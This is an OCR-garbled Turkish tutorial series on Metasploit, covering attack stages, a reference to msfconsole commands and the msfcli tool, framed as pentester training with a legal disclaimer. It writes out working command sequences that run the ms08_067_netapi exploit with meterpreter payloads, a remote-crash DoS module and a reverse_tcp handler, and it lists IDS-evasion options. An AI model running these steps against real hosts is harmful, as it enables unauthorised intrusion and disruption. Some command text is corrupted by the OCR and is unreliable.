yine siklikla kullandiklari Wireshark yazilimiyla filtrelemelere giderler ve kayda deger veri elde
edilebiliyor mu testi yaparlar.

Evet, hayli uzun makalenin sonuna gelmis bulunmaktayiz. Bu makalede sizler bir sizma islemi
nasil gergeklesir ve sizildiginda neler yapilabilire dair siber glivenlik dinyasinda klasiklesmis
temel bir uygulamayi gérmuis bulunmaktasiniz. Bu uygulama sizlere bir ufuk, bir perspektif
cizecek kanaatindeyim. Kazandidiniz bu perspektifi koétid amaglar  dogrultusunda
kullanmamanizi gsiddetle dneriyorum. Zekanizi Ulke igin harcayin, ¢alip ¢cirpma icin degil.
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Sorumluluk Reddi

Bu makale ve bu makalenin yer aldigi makale zincirinde anlatilan her bir teknigin
izinsizce bir sisteme denenmesi sonucu tespit edilmeniz durumunda 5 ila 10 yil hapis
cezasina carptirilabileceginizi ve ayriyetten yaptiginiz hasara oranla maddi tazminat
cezasina carptirilabileceginizi bildiginizi varsaylyorum. Tim bunlar bir yana sicilinizi
kirletmeniz sonucunda bu alanda ne kadar bilgili olursaniz olun "giivenilmez" damgasi
yiyeceginizden Turkiye'de siber guvenlik sektdrini unutmak mecburiyetinde
kalacaginizi da bildiginizi varsayiyorum. Bu makale ve bu makalenin yer aldigi makale
zincirinde egitim amagh anlatilan tekniklerin kéti yénde kullaniimasindan tarafim
sorumlu tutulamaz. Bu bilgiler sadece ve sadece Ulkemizde siber guvenlik alanindaki
eleman eksikligini gidermek maksadiyla paylasilmaktadir. Makale igerisinde yer alan
bazi kelime kaliplarinin (6rn; "sizmak istedigimiz / saldirmak istedigimiz" gibi) sadece ve
sadece bir sizma testci (pentester) bakis agisindan ibaret oldugunu beyan etmek
isterim.
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METASPLOIT SALDIRI ASAMALARI (OZET)

Merhaba, bu makalede sizlere daha 6nceki makalede yapilan sizma islemi icin 6zet niteliginde
olan metasploit ile saldiri agamalari gdsterilecektir. Bu asamalar genellestiriimistir. Bu yaziya
eger onceki ilintili konuyu okumadan basladiysaniz konu zincirini géstermek baglaminda

asagidaki liste verilmistir:

e Metasploit Framework’e Giris

e Metasploit ile Bir Sizma Uygulamasi (ms08_067)
e Metasploit ile Saldiri Asamalari (Ozet)

e Metasploit Komutlari

e Metasploit Detay Bilgiler

e Metasploit Detay Bilgiler (Ozet)

Asagida metasploit saldiri asamalari verilmistir:

1. Exploit'ler ekrana basilir.

1 msf > show exploits
2. Goze carpan exploit'ler hakkinda detayli bilgi 6grenilir.

1 msf > info exploit/exploitIsmi

3. Tum exploit'leri incelemek yerine belirli bir exploit aranabilir.

1 msf > search exploitIsmi

4. Exploit segilir.

1 msf > use path/exploitIsmi

5. Secilen exploit'in configure edilebilecek degiskenleri ekrana basilir.

1 msf > show options

(!) Required kismi yes olan degiskenler set edilmelidir! Orn;

1 msf > set LHOST 192.168.0.18
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6. Dilenildigi takdirde exploit'e payload eklenir.

1 msf > set PAYLOAD payloadAdi

7. Belirli bir payload aramak icin yuklu payload'lar listelenebilir.

1 msf > show paylaods

8. Secilen exploit hedef sistemde ise yariyacak mi diye kontrol edilir.

1 msf > check

9. Son olarak exploit ¢calistirilir.

1 msf > exploit
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METASPLOIT KOMUTLARI

Bu yazida sizlerle msfconsole komutlari paylasilacaktir. Bu komutlar bir Metasploit Framework
arayuzu olan msfconsole'daki yetkinliginizi arttiracagi igin sizin metasploit framework ile olan
etkilesiminizde daha etkili bir manevra kabiliyeti kazanmanizi saglayacaktir. Oncelikle bu
basliga daha onceki ilintili baslklari okumadan geldiyseniz konu zincirini géstermek adina
asagidaki liste verilmistir:

e Metasploit Framework’e Giris

e Metasploit ile Bir Sizma Uygulamasi (ms08_067)
e Metasploit ile Saldiri Asamalari (Ozet)

e Metasploit Komutlari

e Metasploit Detay Bilgiler

e Metasploit Detay Bilgiler (Ozet)

Simdi baslica metasploit komutlarina (daha dogru ifadeyle msfconsole komutlarina)
bakabiliriz.

a. “help” komutu

Msfconsole igerisinde kullanilabilecek komutlarin listesini ve aciklamalarini ekrana basmaya
yarar. Kullanimi su sekildedir:

1 msf > help

ya da

1 msf > ?

Yukaridaki her iki komut ile de yardim menisu (kullanilabilecek komut listesi ve detaylar)
goéruntilenebilir.

b. “show” komutu

Metasploit framework'linde yUkli tim Encoder'lari, NOP Generator'lari (yani gesit gesit NOP
Olusturucu Modullleri), Exploit'leri, Payload'lari ve Auxiliary'leri alt alta siralamaya yarar.

1 msf > show
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i) “show exploits” komutu

Sadece yukll exploit'leri ekrana basar.

1 msf > show exploits

ii) “show payloads” komutu

Sadece yuklu payload'lari ekrana basar.

1 msf > show payloads

NOT: Eger bir exploit secilmisse ve bu exploit secili vaziyetteyken show payloads
denmisse bu durumda sadece segilen exploit'e uygunpayload'lar siralanir.

iii) “show auxiliary” komutu

Sadece yukll auxiliary'leri ekrana basar.

1 msf > show auxiliary

iv) “show options” komutu
Egder bir exploit segilmisse exploit'in (modulin) dedger konabilecek parametrelerini

gosterir. Eger exploit sonrasi bir de payload segilmigse bu durumda hem exploit'in hem
de payload'un deger konulabilecek parametrelerini gdsterir.

1 msf > show options

v) “show targets” komutu

Secilen exploit'in ise yaradigi isletim sistemlerini siralar. Exploit segildikten sonra
kullaniimalidir. Aksi takdire [-] No exploit module selected uyarisi verir.

1 msf > show targets

vi) “show advanced” komutu

Secilen exploit ya da payload Uzerinde ince ayar yapmaya yarar. Kullanildiginda
ekrana gelismis ayar dediskenlerinin (parametrelerinin) adi ve tuttuklari degerler
siralanir. Bu degiskenler set komutu ile set edilebilmektedir.
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1 msf > show advanced

c. “search” komutu

Msfconsole araylizii modil aramada genigletiimis filtreleme 6zelligine sahiptir. Ornegin
gereksinim duydugunuz kriterlere sahip bir modil aramaktasiniz. Bu durumda search
komutuna ekleyeceginiz filtrelemeler sayesinde arzunuza uygun sonuca daha cabuk bir
sekilde ulasabilirsiniz. Orn;

1 msf > search ms09-01

Asagida search komutlariyla ise nasil daha spesifik aramalar yapilabilecegi gdsterilmigtir:

i) “search name:something” komutu

Aciklayici bir ada gére arama yapmak igin “name” anahtar sézctigu kullanilir. Orn;

1 msf > search name:php // php isminin ge¢tidi modiiller aranir.

ii) “search path:something” komutu Sadece belirli bir dizin altinda arama yapmak icin
“path” anahtar s6zctgu kullanilir. Orn;

1 msf > search path:scada

auxiliary/admin/scada/igss_exec 17
auxiliary/dos/scada/backhoff twincat
auxiliary/dos/scada/igss9 dataserver
exploit/windows/scada/citect scada odbc
exploit/windows/scada/codesys web server
exploit/windows/scada/daqg_factory bof

i) “search platform:something” komutu

Belirli bir platforma ézgii arama yapmak igin “platform” anahtar sézciigii kullanilir. Orn;

1 msf > search platform:linux

Cikti:
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exploit/linux/ftp/proftp sreplace
exploit/linux/ftp/proftp telnet iac
exploit/linux/games/ut2004 secure
exploit/linux/http/gpad format string
exploit/linux/http/linksys _apply cgi
exploit/linux/http/peercast url

iv) “search type:something” komutu Belirli bir modulin tim elemanlarini siralamak igin
type anahtar s6zcugi kullanilir. Orn;

1 msf > search type:exploit // Sadece yukli tum exploit'leri siralar.

msf > search type:auxiliary // Sadece yiiklil tim auxiliary'leri siralar.
3 msf > search type:payload // sadece yiikli tim payload'lari siralar.
4 msf > search type:post // Sadece yiiklii post-exploit'leri siralar.

v) “search author:something” komutu

Yayimlayici kriterine gére arama yapmayi saglar. Ornegin

1 msf > search author:celil

Ciktr:

Matching Modules

Name Disclosure Date

exploit/windows/scada/codesys web server

vi) “search cve:something” komutu

Cve kriterine gbére arama yapmayi saglar. Cve, sektdrde bilinen tim zafiyetleri
tanimlamak igin zafiyetlerden her birine verilen benzersiz bir kimlik numarasidir. Her
zafiyetin kendine has cve numarasi vardir. Bu glvenlik sektérinde bir standarttir.
Cve'nin acihmi common vulnerabilities and exposures (Kamuya Yansimig Bilinen
Acikliklar ve Beyanlari)'dir.

1 msf > search cve:2012 // cve'si 2012'yle baslayanlari listeler.

vi) Birden fazla filtre ile “search” komutu

Birden fazla kritere gére de arama yapilabilmektedir. Bu sayede arama sonucu daha
da daraltiimis olur ve istedigimize daha ¢abuk ulasabiliriz.
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1 msf > search cve:2011 author:jduck platform:linux

Ciktr:

Matching Modules

Name Description Disclosure Date
exploit/linux/misc/netsupport manager agent 2011-01-08 Netsupport
Manager Agent Remote

Buffer Overflow

¢. “info” komutu

Belirli bir modul hakkinda agiklayici bilgiler sunmaya yarar.
Orn;

1 msf > info exploit/windows/smb/ms08 067 netapi

d. “use” komutu

istenilen exploit, payload ve auxiliary'yi segmek igin kullanilir.
Orn;

1 msf > use auxiliary/dos/windows/smb/ms09 001 write

Not:

Diger modidlleri (encoders, nops,...) secmek igin farkli bir yol izlenmektedir. Ornegin;

msf > use path/payloadIsmi

msf payload(payloadIsmi) > generate -e encoderIsmi -b 'SilinecekKarakterler' -t ciktiFormati -s
NOPUzunlugu

Payload icin kullaniimakta olan generate komutu -e parametresi ile kullanilacak encoder ismini
alir, -b parametresi ile encoding iglemi sirasinda tlreyen gereksiz hangi karakterlerin silinecegi
bilgisini alir, -t parametresi ile encoding islemi sonrasi olusacak ¢iktinin formati bilgisini alir, -
s parametresi ile de eger gerekliyse kullanilacak NOP karakterlerinin uzunlugu bilgisini alir.
Encoder'lar ve NOP'lar bu sekilde kullanilabilir. Bu sayilan -e, -b, -t ve -s parametreleri
tamamen optional'dir (yani sayet isteniyorsa kullanilabilir parametrelerdir). Zaruri degildirler.
Eger belirtimezlerse (yani sadece msf payload(payloadismi) > generate seklinde kullanilirsa)
parametre tercihlerini msfconsole aracina birakmis olursunuz.
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e. “set” komutu
Kullanilan module ait 6zellikleri konfigure etmek i¢in set komutu kullanilir.

Orn;

1 msf > set RHOST 192.168.1.3

f. “setg” komutu

Msfconsole'da birden fazla modul kullanilacaksa ve bu modulller ayni hedefe dogru
denenecekse her modul icin tekrar tekrar 6rnegin ayni RPORT (yani Remote Port) degerini
girmek yerine setg komutuyle bir kez RPORT degeri girebilir ve tim denenebilecek moddllerin
RPORT'u o degerle pratik olarak doldurulabilir. Bu sekilde metasploit framework igerisindeki
tim denenebilecek modullerin RPORT degerleri ayni deger olur.

Orn;

msf > setg LHOST 192.168.0.13

2 LHOST => 192.168.0.13

4 msf > setg RHOST 192.168.0.14

5  RHOST => 192.168.0.14

6
7 msf > save
3 Saved configuration to: /root/.msf3/config

g. “unset” komutu

Kullanilan modulin set edilen bir 6zelliginin degerini bogaltmaya / temizlemeye (unset etmeye)
yarar.

Orn;

1 msf > use exploit/windows/smb/ms08 067 netapi

2 msf > set PAYLOAD windows/meterpreter/bind tcp

3 msf > unset PAYLOAD
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g. “unsetg” komutu

Birden fazla modulin ayni hedef sisteme denenecegi durumlarda érnegin ayni degerde olacak
RHOST (Remote Host) degerini tekrar tekrar herbir modile girmek yerine setg ile bir defa girip
hepsine girmis gibi yapabiliyorduk. Eger bu yapilan islem bir stre sonra geri almak istersek
unsetg komutunu kullanabiliriz. Orn;

1 msf > unsetg SMBDirect

Bu o6rnede goére bu sekilde msfconsole'da smb servisi Uzerine testler yapan diger tim
modullerdeki SMBDirect parametresini daha 6nce setg ile tanimlanan degerinden temizlemis
olacagiz ve bos ya da varsayilan degere sahip kilmis olacagiz.

h. “exploit” komutu

Segcilen exploit'i calistirmak icin kullanilir.
Orn;

1 msf > use exploit/windows/smb/ms08 067 netapi

2 msf > set PAYLOAD windows/meterpreter/bind tcp

3 msf > set LHOST X.X.X.X // Saldiran Sistem IP
4 msf > set RHOST Y.Y.Y.Y // Hedef Sistem IP
5 msf > exploit

1. “check” komutu

Segilen exploit'in hedefte ise yarayip yaramayacagini tespit eder. Direk check yerine exploit
diyerek de bunu anlayabiliriz, fakat eger exploit ise yararsa bu durumda belki hedef makinaya
zarar vermis olabiliriz. ClnklU bazen bazi moduller goénderildikleri sistemin kararsiz
¢alismasina, ¢gdkmesine ya da bir daha asla agilamamasina neden olabilir. Sizma testgi olarak
masterinin makinasina zarar vermek istemeyecegimizden ve musterinin makinasinin sadece
exploit edilip edilemeyecegdini bilmek isteyecedimizden dolayi check komutu kullanighdir.
Check komutu ile zafiyetin oldugunu tespit edebilir ve muisteriye zafiyeti raporlarken dilersek
exploit'i galistirdigimiz takdirde ne gibi bir zayiatla karsilagsabileceklerini gdstermek icin hedef
sistemle ayni teknolojinin yer aldigi bir lab ortami olusturabilir ve orada zayiati uygulamal
olarak goésterebiliriz.

1 msf > use exploit/windows/smb/ms08 067 netapi

2 msf > set PAYLOAD windows/meterpreter/bind tcp
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3 msf > set LHOST X.X.X.X // Saldiran Sistem IP
4 msf > set RHOST Y.Y.Y.Y // Hedef Sistem IP

msf > check
Not: Bazi modiller check komutunu desteklemediginden test edilen sistemlerde modiilleri
kullanip kullanmama konusunda dikkatli olunmalidir.
i. “run” komutu

Segili auxiliary'yi calistirmak icin “exploit” komutunu kullanmak yerine run komutunu kullanmak
daha dogrudur. Fakat exploit komutu da ayni islemi gerceklestirmektedir.

Orn;

1 msf auxiliary(ms09 001 write) > run

Ciktr:

Attempting to crash the remote host...

j- “back” komutu

Bir modul secildikten sonra secimi iptal etmek icin back komutu kullanilir.

Orn;
1 msf auxiliary ( ms09 001 write ) > back
2 msf >

k. “connect” komutu

Hedef host'a telnet, netcat gibi baglantilar  kurabilmek icin  kullanilr.

1 msf > connect 192.168.0.13 23 // Hedef sistemin 23 portuna, yani telnet

// servisine badlanilmaya calisilmaktadir

Ciktr:

[*] Connected to 192.168.1.1:23
yyyyyy!lytya

DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
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y
DD-WRT login:

l. “resource” komutu

Harici bir dosyada yer alan Ruby / Python / Perl gibi kodlarin msfconsole arayuziunde
calistiriimasini saglar. Resource (kaynak) komutu mevcut metasploit moddlleri Gzerinde farkli
farkh aksiyonlar almak igin kodlanmis betik dosyalarinin msfconsole araylzine yuklenmesi
icin kullanihr. Bir msfconsole komutu olan resource komutunun kabul ettigi dosya format .rc'dir
ve dosya icerigi olarak da salt ruby / python / perl kodlari yerine bir sablon ve onun igerisine
koyulacak ruby / python / perl kodlamalari gereksinimi duyar. Bu sekilde sorunsuz bir sekilde
msfconsole araylziu Uzerinden moduller Uzerinde farkh aksiyonlar alinabilir (6rn;
msfconsole'daki bir modulin belirli bir parametresini verilen resource dosyasindaki betik
dilinde tanimli dizi degiskeni elemanlarinca bir bir deneme ya da bir modulin ¢alismasini belli
bir loop (d6éngu) ile tekrarlama,... gibi).

1 msf > resource kodlar.rc

m. “irb” komutu

Bildiginiz Gzere metasploit framework yorumlayici dillerden olan Ruby ile bastan asagi
tekrardan yazilmistir. Dolayisiyla Metasploit'i indirip ¢alistirdiginizda ruby environment'indan
da (yani ruby betiklerinin ¢alisabilmesini saglan platform gereclerinden de) yararlanmaktasiniz.
Metasploit kullanirken size sunulan araylzdeki imkanlardan daha fazlasini yapmak
isteyebilirsiniz. irb (yani interactive ruby shell) sizin kafanizdan gegen bazi islemleri ruby
kodlamasini kullanarak hizl bir sekilde test etmenizi saglar. Girilen ruby kodlarinin satir biter
bitmez anlik olarak ekrana c¢iktisi verilmesi dolayisiyla test amagh kullanighdir.

Msfconsole'da irb komutu ile ruby shell yapisina gegilebilir.

1 msf > irb

Cikti:

[*] Starting IRB shell...

>> puts "Hello World" // Ruby kodu girilir.

Hello World! // puts ekrana string'i basar.

=> nil // puts methodundan dénen deder...

Msfconsole'da irb'nin olmasi size farkli bir esneklik kazandirmaktadir. Ornegin hedef sistemde
bir oturum elde ettiniz ve hedef sistemde bir islem yapacaksiniz. Bu iglem igin komut satiri
kodlamasina (kabuk kodlamasina) hakimiyetiniz olmasi gerekir. Ancak ruby biliyorsaniz irb'yi
calistirip gireceginiz basit ruby komutlari ile kolaylikla islemlerinizi gerceklestirebilirsiniz. Yani
sonucta msfconsole irb'yi sunarak size ekstradan bir alternatif sunmakta. Tabir-i caizse hangisi
kolayiniza geliyorsa demekte. Bu nedenle irb msfconsole'u esnek kilan unsurlardan bir
tanesidir.

n. “hosts” komutu
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Msfconsole'da hedef tahtasina oturttugunuz host'lari (makinalari) siralar. Bu komut birden
fazla modulin birden fazla hedef sisteme denenmek (zere konfigure edildigi durumlarda
kullanilabilir.

1 msf > hosts

Cikti

Hosts

address name 0sS_name O0S_Sp purpose
192.168.0.19 PENTEST-WINXP Windows XP SP2 client
193.140.9.6 Windows 7 client

0. “sessions” komutu

Msfconsole'da secilen modiiller hedef host'lara karsi birer birer calistirildiklarinda ve hedef
host'larda oturumlar elde edildiginde elinizin altindaki tim makinalari listelemek igin sessions
komutunu kullanabilirsiniz.

1 msf > sessions // ya da sessions -1

Ciktr:

Active sessions

id Type Information Connection

1 meterpreter x86/win32 NT AUTHORITY 192.168.2.188:38919 -> QPENTEST-
WINXP 192.168.2.206:4444

Bu drnekte bir adet session elde edildigi gdsterilmistir. Eger birgok host'ta oturum elde edilirse
sessions komutu ile ekraniniza elde ettiginiz oturumlar satir satir gelecektir.

Bu ele gecen makinalardan birine gecgis yapmak icin sessions komutunun siraladigi
oturumlardan belirlediginizin id'sini not alip sessions komutunun -i parametresine argiman
olarak ekleyebilir ve béylece hedef makinalardan birinin igerisine girebilirsiniz.

1 msf > sessions
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Ciktr:

Active sessions

id Type Information Connection

1 meterpreter x86/win32 NT AUTHORITY 192.168.2.188:38919 ->@PENTEST-
WINXP 192.168.2.206:4444

1 msf > sessions -1 1

2 meterpreter > .. // Meterpreter oturumuna gecilmistir.

0. “background” komutu

Bazen msfconsole'da bir host'a karsi kullandiginiz moddl calisir vaziyetteyken baska modiiller
de calistirmak isteyebilirsiniz. Bu gibi durumlarda arayizi isgal eden mevcut ¢alisan modulu
background komutu ile geri plana atabilir ve baska moduller secerek daha sistemli saldirilar
duzenleyebilirsiniz.

1 meterpreter > background

2 msf > ..

Msfconsole icinde diger modiillerle yaptiginiz islemler sonrasi tekrar mevcut payload
oturumunuza donmek ve uzak sistemde islemler yapmak istediginizde sessions komutunu
kullanip komutun siralayacagi session'lardan belirlediginizin id'sini not alabilir ve sessions
komutunun -i parametresine argiiman olarak ekleyerek ilgili payload oturumuna donls
yapabilirsiniz.

1 msf > sessions // ya da sessions -1

Ciktr:

Active sessions

id Type Information Connection

1 meterpreter x86/win32 NT AUTHORITY 192.168.2.188:38919 ->Q@PENTEST-
WINXP 192.168.2.206:4444

1 msf > sessions -i 1

2 meterpreter > .. // Meterpreter oturumuna gecilmistir.
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Bdylece artik sectigimiz payload oturumu Uzerinden uzak sisteme akmaya devam edilebilir.

p- “jobs” komutu

Msfconsole'da bazen modil ¢alisma sdresinin uzun zaman alacagi durumlarla karsilasilabilir.
Ornegin uzak sistemden gelecek baglantiyi yakalamak maksadiyla dinleme moduna sokan
moduller ya da s6zlik ve kaba kuvvet saldirilari yapan moddller gibi... Bu gibi durumlarda
mevcut modidl msfconsole araylzind isgal edecegdi igin bizi kimildatamaz yapabilir. Eger
henliz sonuglanmamis mevcut modul c¢alisirken baska modilleri de konfigure etmek /
calistirmak istersek galismasi uzun sitrecek modiilleri exploit -j veya run -j komutlariyla
calistirabilirsiniz. Buradaki -j ( yani (j)ob ) parametresi modulun arka tarafta (background'da)
calismasini saglar. Bu sekilde ¢alismasi uzun stren modul msfconsole ekranini isgal etmez
ve msfconsole'da baska modiiller secip baska islemler gergeklestirebilirsiniz. Daha sonra ise
arkaplana  attiginiz  job'larin  listesini  jobs  komutu ile  gdruntuleyebilirsiniz:

1 msf > jobs // ya da jobs -1

Ciktr:

Jobs

Id Name Payload Payload opts

2 Exploit: multi/handler windows/meterpreter/reverse tcp tcp://A.B.C.D:4455

Arkaplanda c¢alisan job'lari énytze getirip yine etkilesim haline gegmek isterseniz jobs -i idNo
komutunu kullanabilirsiniz. Bu 6rnek icin jobs -i 2 diyerek multi’/handler moduli énylze
cekilebilir.

Arkaplanda calisan ve sonuglanmayi bekleyen job'lar caligmalarini bitirdiklerinde jobs
listesinden otomatikmen silinirler. Eger kullandiginiz moduller hedef sistemde size baglant
gonderen turden modullerdense moduller basarili olmus mu diye gelen baglantilari
(oturumlari) gérintileyen sessions komutu kullanilabilir.

q. “services” komutu
db_nmap ile hedefin portlari taranir ve ¢alisan servisleri tespit edilir. Bu bilgiler veritabanina

kaydedilir ve services komutu ile de tespit edilen bu servisler goéruntilenir.

1 msf > db nmap -sV 193.140.9.0/24

2 msf > services

Cikti:
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Services

host port proto name state info

193.140.9.6 80 tcp http open Microsoft HTTPAPI httpd 2.0
193.140.9.34 80 tcp http open Apache-

Coyote/1.1

Bdylece servis isimlerine bakarak exploit aramasina yonelinir.

r. “load” ve “unload” komutu

Metasploit Framework'te plugin'ler (eklentiler) temel metasploit moddilleri yaninda baska
kullanigh aracglarin metasploit framework'e dahil edilmesi amaciyla olusturulmus bir kategoridir.
Ornegin spesifik bir konuda olan metasploit moddllerini blinyesinde barindirip hepsini tek elden
calistirma imkani sunmalari ya da harici bir populer tool'u msfconsole arayiziinden kullanma
imkani sunmalari gibi...

Msfconsole oturumunuza plugin yliklemek icin load, yukli plug'ini kaldirmak igin ise unload
komutu kullanilir.

Orn;

1 msf > load wmap

2 [*] Successfully loaded plugin: wmap
3

4 msf > wmap run -h

5

6

7 msf > unload wmap

8 Unloading plugin wmap... unloaded.

Not: Kali versiyonundan versiyonuna (daha spesifik tabirle msfconsole versiyonundan
versiyonuna) bu kullanim syntax'i degisebilmektedir. Orn; load wmap.rb ve unload wmap.rb
gibi...

Metasploit Framework'Un kurulu oldugu dizin igerisindeki plugins/ klaséru altinda varsayilan
plugin'ler yer alir. load komutu ve devamina getireceginiz plugin ismi sonrasi msfconsole, bu
varsayilan plugins/ dizinine bakar. Eger metasploit framework'in plugins/ dizininde yer
almayan harici bir plugin kullaniimak isteniyorsa yapilacak tek sey érnegin github'dan plugin'e
ait dosyayi indirmek ve metasploit framework'in kok dizininde yer alan plugins/ klasoru
icerisine o dosyay! koyup load pluginlsmi komutuyla plugin'i msfconsole'a yuklemektir.
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Not: Metasploit Framework surimden slUrime ve sistemden sisteme farkli dizinlere
yerlesebildiginden kullanmakta oldugunuz sistemde metasploit framework'liin nerede kurulu
oldugunu tespit etmek icin asagidaki komutu kullanabilirsiniz:

1 find/ -name "metasploit" -print

Bu sekilde plugins/ klasortine erisip harici plugin dosyanizi yerlestirebilirsiniz.

s. “version” komutu

Metasploit framework'in ve msfconsole'un versiyonlarini gosterir.

1 msf > version

Cikti:

Framework: 4.11.1-2015031001
Console : 4.11.1-2015031001.15168

s. “msfupdate” komutu
Metasploit Framework'unu glncellemeye yarar. Boylece en guncel exploit'leri, payload'lari,...
edinebiliriz.

1 msf > msfupdate
Not: Artik Metasploit Framework arayuzi olan msfconsole msfupdate komutunu

desteklememektedir. Eski Kali Linux makinalarinizda msfupdate'i halen kullanabilirsiniz, ancak
yeni Kali Linux makinalari igin asagidaki komut dizisini kullanmalisiniz:

1 msf > apt-get update; apt-get install metasploit-framework

t. “makerc” komutu

En sonki makerc komutu kullanimindan beri msfconsole'a girilen tUm metasploit komutlarini
bir dosyaya yazar.
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1 > makerc komutlar.txt // Gegmisi tutacak komutlar.txt dosyasina konur.

Ciktr:

[*] Saving last 11 commands to komutlar.txt

u. “quit” komutu
Msfconsole'dan ¢ikarir.

1 msf > quit

Cikti:

root@kali:~#

v. “clear” komutu

Tipki terminali temizleyen clear komutu gibi msfconsole'da da clear adli komut ekrani temizler.

1 msf > clear

w. “whois” komutu

Belirtilen domain'in whois bilgilerini ekrana basar.

Orn;

1 msf > whois google.com // ya da includekarabuk.com

Not: Kayitlari igeren veritabani yalnizca .COM, .NET, .EDU uzantili domain'leri kapsamaktadir.

Bu nedenle 6rnegin .TR uzantili domain'ler whois tool'u ile sorgulanamaz.

Not: Domain adreslerini whois ile sorgularken bagina hostname konmamalidir. Yani whois

www.google.com degil de whois google.com olarak sorgulama yapilmalidir.
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METASPLOIT DETAY BILGILER

Bu makalede metasploit ile alakall konu zincirinde artik paylasmayi planladigim tamamlayici
son notlara yer verilecektir. Konu zincirine bastan baglamamis arkadaslar igin siralama su
sekildedir:

e Metasploit Framework’e Giris

e Metasploit ile Bir Sizma Uygulamasi (ms08_067)
e Metasploit ile Saldiri Asamalari (Ozet)

e Metasploit Komutlari

e Metasploit Detay Bilgiler

e Metasploit Detay Bilgiler (Ozet)

Bu makalede sizlerle Metasploit Framework araylzi msfconsole'un yan araclarindan olan
msfcli tool'u, msfpayload tool'u, msfencode tool'u ve msfvenom tool'u paylasilacaktir. Bunun
yanisira bakis acginizi genisletecek bazi ekstra bilgiler de paylasilacaktir.

a. Msfcli

Msfconsole tool'unun yan tool'larindan biri olan msfcli (yani msf client) msfconsole araylziinde
satir satir yapti§iniz islemleri tek satirda yapmanizi saglayan bir aragtir. Ornegin Metasploit ile
Bir Sizma Uygulamasi (ms08-067) yazisinda msfconsole tool'u kullaniimisti ve sdyle satir satir
kodlamalar yaparak hedef sisteme sizmistik:

Kali Linux Terminal:

msf > use exploit/windows/smb/ms08 067 netapi

2 msf (ms08 067 netapi) > set PAYLOAD windows/meterpreter/bind tcp

3 msf (ms08 067 netapi) > set LHOST X.X.X.X // Kali Linux IP

4 msf (ms08 067 netapi) > set RHOST X.X.X.X // WindowsXP IP

5 msf (ms08 067 netapi) > exploit // Modul calistirailair.
6 meterpreter > (((( Sisteme girdik ))))

Tum bu satir satir yapilan islemlerin tek satirda halledilmesi geregi duyulabilir. Mesela elinize
daha pratik geldigi icin aliskanlik agisindan buna gereksinim duyabilirsiniz ya da daha hayati
bir sebep nedeniyle de olabilir. Misal bir ruby / python / perl script'i yaziyorsaniz ve script'iniz
icerisinde bir yerlerde metasploit framework'inden yararlanip hedef sistemde shell (komut
satir) oturumu almak gibi msfconsole'un kendine ait komutlarla gerceklesecek islemleri
yapmak istiyorsaniz script'iniz icerisinde msfconsole tool'unu handle edecek (uygun sekilde
kullanacak) bir modul gelistirmeniz gerekecektir. Bu ise sizin igin epey zahmetli ve zaman
kaybina yol acici bir hal alabilir. Ancak eger msfconsole'un tek satirlik bir formati olursa ruby /
python / perl script'inizin igerisine komut satirinda komut c¢alistirmaya yarayan standard
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fonksiyonlardan birini koyabilir ve bu komut ¢alistiran standard fonksiyonun igerisine tek satirlik
msfconsole tlrevi kodu koyarak blyUk bir zahmetten kurtulabilirsiniz. Bdylece pratik bir sekilde
script'inizde kodlamaya devam edebilirsiniz. iste bu v.b. gereksinimlerden dolayi msfcli tool'u
gelistiriimistir. msfcli tool'u msfconsolde yapilan tum iglemleri yanyana parametre=arguman
seklinde alarak gerceklestirmektedir.

msfcli tool'unu tanimak igin birkag anahtar noktasindan bahsedelim. Oncelikle msfcli su sekilde
bir kullanim bigimine sahiptir:

Kullanim Dizilisi (Syntax") :

1 msfcli [exploitadi] [option=value] [mode]

msfcli komutun  adi, exploitadi kismina msfconsole'da  girdidiniz  exploit yolu ve
ismi, option=value kismina segilen modulin konfigurasyon ayarlari, son olarak
da mode kismina bu komut icin uygulanacak nihai aksiyon gelir. Bir 6érnekle tim bu japonca
karakterleri andiran cimleyi anlamlandiralim:

msfcli exploit/windows/smb/ms08 067 netapi RHOST=172.16.3.120
1 RPORT=445 PAYLOAD=windows/meterpreter/bind tcp LHOST=172.16.3.118 O
// Sondaki (O)ptions'in bas harfi "O"dur. Sifir degildir!

Gorlldugu tzere komut adindan sonra ilk olarak exploit yolu ve ismi geldi, ardindan exploit
secildikten sonra msfconsole'da set komutuyla deger atadigimiz parametreler gibi
parametrelsmi=parametreDegeri ihtiya¢ duyuldugu kadar sirasiyla yerlestirildi. En sonunda ise
mod olarak msfconsole'da show options'a karsilik gelen msfcli'da (O)ptions olarak kabul goéren
(O)ptions'in bas harfi kondu. Boylece tahmin edebilecediniz lizere exploit segildigi igin ve
parametrelerine degerler atandidi icin en nihayetinde msfconsole'da show options ile ne
gelecekse simdi de o gelecektir. Yani secilen modul ve modulin parametrelerine atanilan
degerlerin bilgisi ekrana gelecektir:

Ciktr:

[*] Please wait while we load the module tree...

Name Current Setting Required Description

RHOST 172.16.3.120 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port

RHOST 172.16.3.120 no The target address
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Goruldagu Uzere parametrelere verdigimiz arguman de@erlerini ¢ikti olarak ekranda
goéruntilemekteyiz. Bu sayede yanlis bir deder atamasi var mi kontroll yapabilirsiniz. msfcli
tool'u (O)ptions modu gibi msfconsole'da yapilabilen tim aksiyonlara karsilik gelecek modlara
sahiptir. Bunlar su sekildedir:

Msfcli Modlart :
Modlar Yaptigi Is
(H)elp Yardim meniisiiniin gérintiilenmesini saglar.

(S) ummary
(O)ptions

(A) dvanced

Belirtilen exploit hakkinda detayli bilgi

verir (Msfconsole'daki info'dur).

Belirtilen exploit'in set edilecek deJiskenlerini
sunar. (Msf'deki show options)

Berlitilen exploit ig¢in ilgili tim degiskenleri

sunar. (Msf'deki show advanced)
IDS'lere yakalanmamak ig¢in ayarlanabilecek
degiskenleri sunar.

(I)DS Evasion

(P)ayloads Belirtilen exploit'le uyumlu tim payload'lari
sunar.

(T)argets Berlitilen exploit'in ise yaradigi isletim
sistemlerini sunar.

(AC) tions Berlirtilen exploit ile kullanilabilecek
auxiliary'leri sunar.

(C)heck Belirtilen exploit'in hedef sistemde ise yarayip
yaramayacagini tespit eder.

(E) xecute Belirtilen exploit'i calistairair.

Bu modlarin parantez icerisine alinan harfleri msfcli'nin aldig1 parametre ve degerlerinin en
sonuna konur ve bdylece msfcli aldigi argumanlar (segilen modul ve ayarlamalar) neticesinde
belirtilen modun iglevini yerine getirir. Simdi az 6nce olugturdugumuz msfcli komutunu bu sefer
